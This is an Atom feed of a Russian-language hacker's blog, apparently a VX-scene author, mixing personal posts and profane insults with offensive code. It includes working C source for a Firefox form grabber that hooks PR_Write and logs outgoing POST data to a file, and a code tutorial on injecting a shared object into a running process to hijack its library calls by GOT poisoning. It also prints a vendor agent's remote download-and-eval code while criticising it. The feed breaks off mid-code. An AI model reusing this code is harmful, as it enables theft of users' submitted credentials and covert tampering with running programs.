<?xml version='1.0' encoding='utf-8' ?>
<!--  If you are running a bot please visit this policy page outlining rules you must respect. http://lj.rossia.org/bots/  --><feed version='0.3' xmlns='http://purl.org/atom/ns#'>
<title mode='escaped'>herm1t LIVE!ng room</title>
<tagline mode='escaped'>herm1t</tagline>
<link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/' />
<modified>2025-07-04T17:56:45Z</modified><link rel='service.feed' type='application/x.atom+xml' title='herm1t LIVE!ng room' href='http://lj.rossia.org/users/herm1t/data/atom' />  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'></title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:81845</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/81845.html' />
    <issued>2025-07-04T20:55:00</issued>
    <modified>2025-07-04T17:56:45Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <content type='text/html' mode='escaped'>Зашел сюда после очень долгого переыва, чаще появляюсь &lt;a href=&quot;https://t.me/ruheight&quot;&gt;в телеге&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/81845.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/81845&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'></title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:81569</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/81569.html' />
    <created>2021-03-02T19:15:18Z</created>
    <issued>2021-03-02T21:22:00</issued>
    <modified>2021-03-02T19:15:44Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <content type='text/html' mode='escaped'>&lt;a href=&quot;https://pastebin.com/raw/xDKbiPeT&quot;&gt;void expmod(void *y, void *x, size_t xl, void *e, size_t el, void *n, size_t nl)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;(BigEndian, based on excelent BearSSL, 3KB, просто так)&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/81569.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/81569&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'></title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:81243</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/81243.html' />
    <created>2020-03-02T20:09:52Z</created>
    <issued>2020-03-02T22:16:00</issued>
    <modified>2020-03-02T21:04:49Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <content type='text/html' mode='escaped'>Мне посыпались комментарии. Больше чем звездное небо внутри нас, и нравственный закон под ногами, меня поражают злорадствующие хуилы в камментах, по наивности пытающиеся меня доебать и привыкшие вылизывать задницу гебне и мусорне. Никак не могу к этому привыкнуть. Брезгливость не позволяет.&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/81243.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/81243&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>День второй</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:80970</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/80970.html' />
    <created>2018-07-30T15:43:06Z</created>
    <issued>2018-07-30T20:49:00</issued>
    <modified>2018-07-30T15:50:50Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <content type='text/html' mode='escaped'>Наконец-то появился повод, что-нибудь написать. Вернулся к &lt;a href=&quot;http://83.133.184.251/virensimulation.org/lib/vhe11.html&quot;&gt;старой идее&lt;/a&gt; (&quot;Recompiling the metamorphism&quot;, 2012). Всё как водится упиралось в лень и нежелание писать полноценный парсер. Лёд тронулся, господа присяжные заседатели. Фронтэнд парсит и сериализует abstract syntax tree, а бэкенд его успешно загружает и превращает в код. Теперь займусь кодогенератором, уберу gas. Байтоёбством давно не занимался, но ассемблирование и линковка - это уж совсем просто. Потом можно начинать развлекаться: constant unfolding, перемешивание top level declarations, криптостроки, издевательства над CFG. И всё это в качестве сайд-эффекта. :-) Сериализация вот в таком вод виде, довольно идиотический, зато простой и не заморочливый:&lt;br /&gt;&lt;pre&gt;static void *copy_dict(void *v, void *(*ele)(void*))
{
	Dict *r = NULL;
	if (v == NULL || ((r = hash_get(v)) != NULL))
		return r;
	r = store(v, sizeof(Dict));
	r-&amp;gt;map = copy_map(r-&amp;gt;map, ele);
	r-&amp;gt;key = copy_vector(r-&amp;gt;key, copy_string);
	return r;
}

static void *copy_type(void *v)
{
	Type *r = NULL;
	if (v == NULL || ((r = hash_get(v)) != NULL))
		return r;
	r = store(v, sizeof(Type));
	r-&amp;gt;ptr = copy_type(r-&amp;gt;ptr);
	r-&amp;gt;fields = copy_dict(r-&amp;gt;fields, copy_type);
	r-&amp;gt;rettype = copy_type(r-&amp;gt;rettype);
	r-&amp;gt;params = copy_vector(r-&amp;gt;params, copy_type);
	return r;
}
&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/80970.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/80970&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>Неэкспортируемые символы</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:80894</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/80894.html' />
    <created>2016-02-12T12:01:33Z</created>
    <issued>2016-02-12T14:01:00</issued>
    <modified>2016-02-12T12:13:33Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='analysis' />
    <category term='control' />
    <category term='data' />
    <category term='disassembly' />
    <category term='flow' />
    <category term='function' />
    <category term='hidden' />
    <category term='static' />
    <category term='symbol' />
    <content type='text/html' mode='escaped'>Давно и успешно использую следующий метод для поиска неэкспортируемых символов. Дизассемблируем код (linear sweep), линейно, хотя бы для того, чтобы убедиться, что код создан нормальным компилятором и в нем нет антиотладки. Отмечаем начало функций (все, что вызывется через call). Потом трейсим каждую функу рекурсивно и используем эвристики, такие как: использование констант (хорошо, если есть строки), определенный набор внешних функций или даже просто специфическую форму CFG. Странно, но нашел всего одно упоминание этого способа в нужном контексте, да и то без готового инструмента, а просто, как PoC. Так что и антивирусные приколы могут быть полезны, кто бы мог подумать. :-) Неожиданно, массовый софт - предельно стабилен и меняется медленно, так что &quot;сигнатуры&quot; (на control / data flow, не на инструкции) накрывают очень широкий диапазон версий.&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/80894.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/80894&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>SO</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:80527</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/80527.html' />
    <issued>2016-02-11T22:23:00</issued>
    <modified>2016-02-11T20:25:29Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='dlopen' />
    <category term='library' />
    <category term='linux' />
    <category term='memdlopen' />
    <category term='memory' />
    <category term='rtld' />
    <category term='shared' />
    <content type='text/html' mode='escaped'>Сделал загрузку shared objects из памяти без временных файлов. И никаких сигнатур. Красивенько.&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/80527.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/80527&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>Sucuri Web RAT</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:80363</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/80363.html' />
    <created>2015-11-11T23:30:21Z</created>
    <issued>2015-11-12T01:27:00</issued>
    <modified>2015-11-13T15:46:17Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='av' />
    <category term='php' />
    <category term='rat' />
    <category term='sucuri' />
    <category term='trojan' />
    <category term='webshell' />
    <category term='долбоёбы' />
    <content type='text/html' mode='escaped'>&lt;img src=&quot;http://s11.postimg.org/sphtbrqqb/sucuri.png&quot; width=&quot;580&quot; alt=&quot;Sucuri Integrity Monitor&quot; /&gt;&lt;br /&gt;&lt;br /&gt;I found the &quot;monitoring software&quot; installed by ‪#‎AV‬ firm ‪#‎Sucuri‬ (it&apos;s available to their subscribers). What I have to say. It just RAT, or web-shell or whatever you want to call it, but its single purpose is to download an unknown code from their servers and execute it. The real name for such a thing is a ‪#‎Trojan‬ ‪#‎Horse‬. That&apos;s how I used to call these things. More than that it contains security flaws... You don&apos;t just trust them your data (that&apos;s not necessary bad), but you let the back door wide open.&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;Попаля в руки RAT от Sucuri, который они ставят на сайты клиентов, чем эта херь отличается от веб-шелла, хоть убейте не пойму:&lt;br /&gt;&lt;pre&gt;
curl_setopt($ch, CURLOPT_URL, &quot;https://$MYMONITOR.sucuri.net/imonitor&quot;);
...
$my_sucuri_encoding =  base64_decode(
                       substr($my_sucuri_encoding, 7));
eval(
    $my_sucuri_encoding
    );
&lt;/pre&gt;&lt;br /&gt;&lt;lj-cut text=&quot;список сцукурных серверов&quot;&gt;&lt;pre&gt;
Бонусом, список их IP-шек:
    [0] =&amp;gt; 97.74.127.171
    [1] =&amp;gt; 69.164.203.172
    [2] =&amp;gt; 173.230.128.135
    [3] =&amp;gt; 66.228.34.49
    [4] =&amp;gt; 66.228.40.185
    [5] =&amp;gt; 50.116.3.171
    [6] =&amp;gt; 50.116.36.92
    [7] =&amp;gt; 198.58.96.212
    [8] =&amp;gt; 50.116.63.221
    [9] =&amp;gt; 192.155.92.112
    [10] =&amp;gt; 192.81.128.31
    [11] =&amp;gt; 198.58.106.244
    [12] =&amp;gt; 104.237.143.242
    [13] =&amp;gt; 104.237.139.227
    [14] =&amp;gt; 2600:3c00::f03c:91ff:feae:e104
    [15] =&amp;gt; 2600:3c00::f03c:91ff:fe84:e275
    [16] =&amp;gt; 2600:3c03::f03c:91ff:fee4:c9f0
    [17] =&amp;gt; 2600:3c02::f03c:91ff:fee4:c998
    [18] =&amp;gt; 2600:3c00::f03c:91ff:fe84:e218
    [19] =&amp;gt; 2600:3c02::f03c:91ff:fedf:58c6
    [20] =&amp;gt; 2600:3c02::f03c:91ff:fedf:5835
    [21] =&amp;gt; 2600:3c03::f03c:91ff:fedf:6a7a
    [22] =&amp;gt; fe80::fcfd:adff:fee6:8087
    [23] =&amp;gt; 2600:3c03::f03c:91ff:fe70:36ce
    [24] =&amp;gt; 2600:3c02::f03c:91ff:fe70:f12d
    [25] =&amp;gt; 2600:3c01::f03c:91ff:fe70:52bb
    [26] =&amp;gt; 50.116.36.93
    [27] =&amp;gt; 192.155.95.139
    [28] =&amp;gt; 2600:3c02::f03c:91ff:fe69:4b66
    [29] =&amp;gt; 2600:3c00::f03c:91ff:fe70:5213
    [30] =&amp;gt; 2600:3c03::f03c:91ff:fedb:b9ce
    [31] =&amp;gt; 23.239.9.227
    [32] =&amp;gt; 198.58.112.103
    [33] =&amp;gt; 192.155.94.43
    [34] =&amp;gt; 162.216.16.33
    [35] =&amp;gt; 45.79.210.57
    [36] =&amp;gt; 45.33.76.17
    [37] =&amp;gt; 2600:3c00::f03c:91ff:fe6e:a046
    [38] =&amp;gt; 2600:3c02::f03c:91ff:fe6e:a0dd
    [39] =&amp;gt; 2600:3c03::f03c:91ff:fe6e:a0ac
&lt;/pre&gt;&lt;br /&gt;А вот за это (и еще кое за что):&lt;br /&gt;&lt;pre&gt;$_SERVER[&apos;REMOTE_ADDR&apos;] = $_SERVER[&apos;HTTP_X_FORWARDED_FOR&apos;]&lt;/pre&gt;&lt;br /&gt;Нужно вырывать ногти. А потом руки. Ж;-]&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/80363.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/80363&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>Сграбить потоковое видео</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:79941</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/79941.html' />
    <created>2015-11-04T17:08:06Z</created>
    <issued>2015-11-04T19:03:00</issued>
    <modified>2015-11-04T17:11:32Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='avi' />
    <category term='embed' />
    <category term='flash' />
    <category term='grab' />
    <category term='mpeg' />
    <category term='player' />
    <category term='ts' />
    <category term='video' />
    <category term='хозяйке на заметку' />
    <content type='text/html' mode='escaped'>Понадобилось сграбить ролик (не ютюб, ссылок нет, плей-листов нет)&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;Developer -&amp;gt; Developer Toolbar -&amp;gt; Network&lt;br /&gt;&lt;li&gt;Reload, жмем Play&lt;br /&gt;&lt;li&gt;Ждем пока пойдут кусочки mpeg (.ts файлы на &lt;a href=&quot;http://s30.postimg.org/540fs4tf4/sc1.jpg&quot;&gt;скриншоте&lt;/a&gt;&lt;br /&gt;&lt;li&gt;Копируем ссылки, скачиваем&lt;br /&gt;&lt;li&gt;Склеиваем (можно просто cat *.ts &amp;gt; 1.ts)&lt;br /&gt;&lt;li&gt;&lt;a href=&quot;http://video.online-convert.com/convert-to-avi&quot;&gt;Перекодируем&lt;/a&gt; (чтобы не шаманить с mencoder)&lt;br /&gt;&lt;li&gt;PROFIT&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/79941.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/79941&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>Чего только не бывает... :-)</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:79814</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/79814.html' />
    <created>2015-08-21T12:05:42Z</created>
    <issued>2015-08-21T15:02:00</issued>
    <modified>2015-08-21T12:07:05Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='dezobrabotka.ru' />
    <category term='десоветизация' />
    <category term='хиханьки' />
    <content type='text/html' mode='escaped'>&lt;a href=&quot;https://web.archive.org/web/20150821120450/http://www.dezobrabotka.ru/?page_id=52&quot;&gt;&lt;img src=&quot;http://s9.postimg.org/kw4shb8fy/dezobr.jpg&quot; width=&quot;580&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/79814.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/79814&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>Hooking PR_Write</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:79603</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/79603.html' />
    <issued>2015-06-22T21:54:00</issued>
    <modified>2015-06-22T18:55:06Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='firefox' />
    <category term='grabber' />
    <category term='hook' />
    <category term='pr_write' />
    <content type='text/html' mode='escaped'>&lt;pre&gt;static int (*old_pr_write)(void *,void *, int);
static int pr_write(void *handle, void *buffer, int length)
{
        if (length &amp;gt; 4 &amp;&amp; !strncmp(buffer, &quot;POST&quot;, 4)) {
                FILE *f = fopen(&quot;/tmp/debug.txt&quot;, &quot;a+&quot;);
                if (f != NULL) {
                        fprintf(f, &quot;%.*s\n&quot;, length, buffer);
                        fclose(f);
                }
        }
        return old_pr_write(handle, buffer, length);
}

void init(void)
{
        void *h = dlopen(NULL, RTLD_LAZY);
        if (h) {
                void *(*mtdfn)(void) = dlsym(h, &quot;PR_GetTCPMethods&quot;);
                if (mtdfn) {
                        void **mtd = (void**)mtdfn();
                        old_pr_write = ((int (*)(void*,void*,int))mtd[3]);
                        mtd[3] = pr_write;
                }
        }
}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/79603.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/79603&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'></title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:79130</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/79130.html' />
    <created>2015-04-16T13:56:09Z</created>
    <issued>2015-04-16T16:54:00</issued>
    <modified>2015-04-16T14:00:03Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='crypto' />
    <category term='hash' />
    <content type='text/html' mode='escaped'>Есть немного хешей в base36, и немного соотвествующих им данных (если это вообще хеши). Перебрал несколько вариантов, но не судьба, вдруг кто-нибудь угадает, чтобы это могло быть?&lt;br /&gt;&lt;lj-cut text=&quot;хешики&quot;&gt;&lt;pre&gt;
s501j7kmv5 26.06.2014 20.1.0.0.0/7-20140620/2066 138715 20.06.2014
se89ucbkrm 23.07.2014 20.1.0.0.0/7-20140718/147  186524 18.07.2014
e77sum9tne 25.04.2014 20.1.0.0.0/7-20140424/2697 2722   24.04.2014
sc0celvn3c 02.07.2014 20.1.0.0.0/7-20140617/2528 137620 17.06.2014
s7r69g13b5 02.07.2014 20.1.0.0.0/7-20140616/795  134766 16.06.2014
s1bc5ujpdc 07.07.2014 20.1.0.0.0/7-20140625/4618 149770 24.06.2014
e3fik3etdi 22.08.2014 20.1.0.0.0/7-20140815/3183 12821  15.08.2014
sco32fsof7 04.07.2014 20.1.0.0.0/7-20140624/380  145855 24.06.2014
s8d0skr24l 07.07.2014 20.1.0.0.0/7-20140626/3054 151497 26.06.2014
&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/79130.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/79130&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>Накипело</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:79004</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/79004.html' />
    <issued>2015-03-17T00:45:00</issued>
    <modified>2015-03-16T22:46:56Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <content type='text/html' mode='escaped'>Давно хотел сказать, что Eugene Dokukin aka MustLive феерический долбоеб. Извините, накипело.&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/79004.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/79004&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>Patchless hook for NSPR!PR_Write</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:78818</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/78818.html' />
    <created>2015-03-14T20:02:28Z</created>
    <issued>2015-03-14T21:58:00</issued>
    <modified>2015-06-22T20:29:28Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='firefox' />
    <category term='form grabber' />
    <category term='hook' />
    <category term='no memcpy' />
    <category term='no patches' />
    <category term='trick' />
    <content type='text/html' mode='escaped'>С вредной  &lt;a href=&quot;http://lj.rossia.org/users/herm1t/78186.html&quot;&gt;либой&lt;/a&gt; придумал вариант, в котором вообще не нужно ничего патчить. &lt;del&gt;Попробую.&lt;/del&gt; Все отлично работает. Победная реляция пишется прямо в хакнутом броузере. :-) &lt;del&gt;VirtualProtect / mprotect&lt;/del&gt;, &lt;del&gt;memcpy&lt;/del&gt; Красиво. Никаких патчей. Рейс исключен в принципе. &lt;del&gt;И этот кодес я пока придержу. ;-P&lt;/del&gt; &lt;a href=&quot;http://lj.rossia.org/users/herm1t/79603.html&quot;&gt;здесь&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align:left&quot;&gt;&lt;font size=&quot;-2&quot;&gt;&lt;a href=&quot;http://lj.rossia.org/users/herm1t/78818.html&quot;&gt;&lt;img src=&quot;http://lj.rossia.org/numreplies/herm1t/78818&quot; border=0 width=26 height=17  alt=&quot;number of comments&quot; style=&quot;border:0px;&quot; /&gt; &lt;strong&gt;Comments&lt;/strong&gt;&lt;/a&gt;&lt;/font&gt;&lt;/div&gt;</content>
  </entry>
  <entry xmlns="http://purl.org/atom/ns#">
    <title mode='escaped'>Runtime GOT poisoning from injected shared object</title>
    <id>urn:lj:lj.rossia.org:atom1:herm1t:78510</id>
    <link rel='alternate' type='text/html' href='http://lj.rossia.org/users/herm1t/78510.html' />
    <created>2015-03-13T12:46:24Z</created>
    <issued>2015-03-13T14:36:00</issued>
    <modified>2015-03-13T13:02:03Z</modified>
    <author>
      <name>herm1t</name>
    </author>
    <category term='glibc' />
    <category term='got' />
    <category term='hijacking' />
    <category term='inject' />
    <category term='link_map' />
    <category term='linux' />
    <category term='plt' />
    <category term='poisoning' />
    <category term='rtld' />
    <category term='runtime' />
    <category term='so' />
    <content type='text/html' mode='escaped'>&lt;em&gt;This short article describes how the combination of the two well-known techniques would allow to intercept library calls in runtime without PIC-code (as in [2]), patching the library functions or searches in the /proc/PID/maps.&lt;/em&gt;&lt;br /&gt;&lt;lj-cut text=&quot;TL;DR&quot;&gt;&lt;br /&gt;&lt;p&gt;The method described in [1] allows to inject the whole shared library into&lt;br /&gt;the process address space using the __libc_dlopen_mode and ptrace to form&lt;br /&gt;the library call within targets control flow. In order to complete our task&lt;br /&gt;one need to find the process GOT table and replace hijacked function GOT&lt;br /&gt;entry.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;To avoid the /proc/PID/maps mess, I will search all neccessary tables through&lt;br /&gt;the link_map list (the pointer to it is stored in the GOT[1] of our shared&lt;br /&gt;object, which in turn could be found via _DYNAMIC array):&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;
        struct link_map *get_link_map(void) {
                void **got = NULL;
                Elf64_Dyn *dyn;
                /* get link_map via _DYNAMIC, GOT[1] of the so */
                for (dyn = _DYNAMIC; dyn-&amp;gt;d_tag != DT_NULL; ++dyn)
                        if (dyn-&amp;gt;d_tag == DT_PLTGOT)
                                got = (void**)dyn-&amp;gt;d_un.d_ptr;
                if (got == NULL || got[1] == NULL)
                        return NULL;
                return (struct link_map*)got[1];
        }
        struct link_map *lm = get_link_map();
&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;Next, I need to find the _DYNAMIC of the current process, and would traverse&lt;br /&gt;the link_map list (defined in link.h) in reverse order:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;
        struct link_map *base = NULL;
        for ( ; lm != NULL; lm = lm-&amp;gt;l_prev) {
                printf(&quot;%p\t%s\n&quot;, lm-&amp;gt;l_ld, lm-&amp;gt;l_name);
                if (*lm-&amp;gt;l_name == 0)
                        base = lm;
        }
        if (base == NULL)
                return;
        printf(&quot;base _DYNAMIC %p\n&quot;, base-&amp;gt;l_ld);
&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;To find the function by name I need pointers to .dynsym, .dynstr, .rel(a).plt,&lt;br /&gt;and will extract the pointers from the process .dynamic section (base-&amp;gt;l_ld).&lt;br /&gt;The code presented below assumes RELA type of relocations on 64-bit system&lt;br /&gt;(the support for the REL and 32-bits would require trivial changes):&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;
        /* get dynsym / dynstr / relaplt from
           base&apos; _DYNAMIC (base-&amp;gt;l_ld) */
        Elf64_Dyn *dyn = NULL;
        Elf64_Sym *sym = NULL;
        Elf64_Rela *rel = NULL;
        char *str = NULL;
        int rsz = 0, i;
        for (dyn = base-&amp;gt;l_ld; dyn-&amp;gt;d_tag != DT_NULL; dyn++) {
                if (dyn-&amp;gt;d_tag == DT_SYMTAB)
                        sym = (Elf64_Sym*)dyn-&amp;gt;d_un.d_ptr;
                else
                if (dyn-&amp;gt;d_tag == DT_STRTAB)
                        str = (char*)dyn-&amp;gt;d_un.d_ptr;
                else
                if (dyn-&amp;gt;d_tag == DT_JMPREL)
                        rel = (Elf64_Rela*)dyn-&amp;gt;d_un.d_ptr;
                else
                if (dyn-&amp;gt;d_tag == DT_PLTRELSZ)
                        rsz = dyn-&amp;gt;d_un.d_val;
        }
        if (sym == NULL || rel == NULL || rsz &amp;lt; sizeof(Elf64_Rela)) {
                return;
        }
&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Finally, I would find the pointer to functions GOT entry (specified by name) and patch it:&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;
        /* find function&apos; GOT ptr in RELA/DYNSYM and patch it */
        char *symbol = &quot;getpid&quot;;
        for (i = 0; i &amp;lt; rsz / sizeof(Elf64_Rela); i++)
                if (! strcmp(sym[
                    ELF64_R_SYM(rel[i].r_info)].st_name + str, symbol)) {
                        osym = *(void**)rel[i].r_offset;
                        *(void**)rel[i].r_offset = nsym;
                        break;
                }
&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;In the above example the hijacked function is &lt;code&gt;getpid()&lt;/code&gt; and the replacement&lt;br /&gt;defined as follows:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;
static int (*osym)(void);
static int nsym(void)
{
        return osym() + 1000;
}
&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;The manipulations with linkers structures done from within init() function of the library.&lt;br /&gt;The Injectso64 tool was patched as follows (to allow dynamic linking):&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;
   130          regs.rdi = regs.rsp + 8;
   131          regs.rsi = &lt;strong&gt;RTLD_LAZY&lt;/strong&gt;|RTLD_GLOBAL|RTLD_NODELETE;
   132          regs.rip = dlopen_addr + 2;
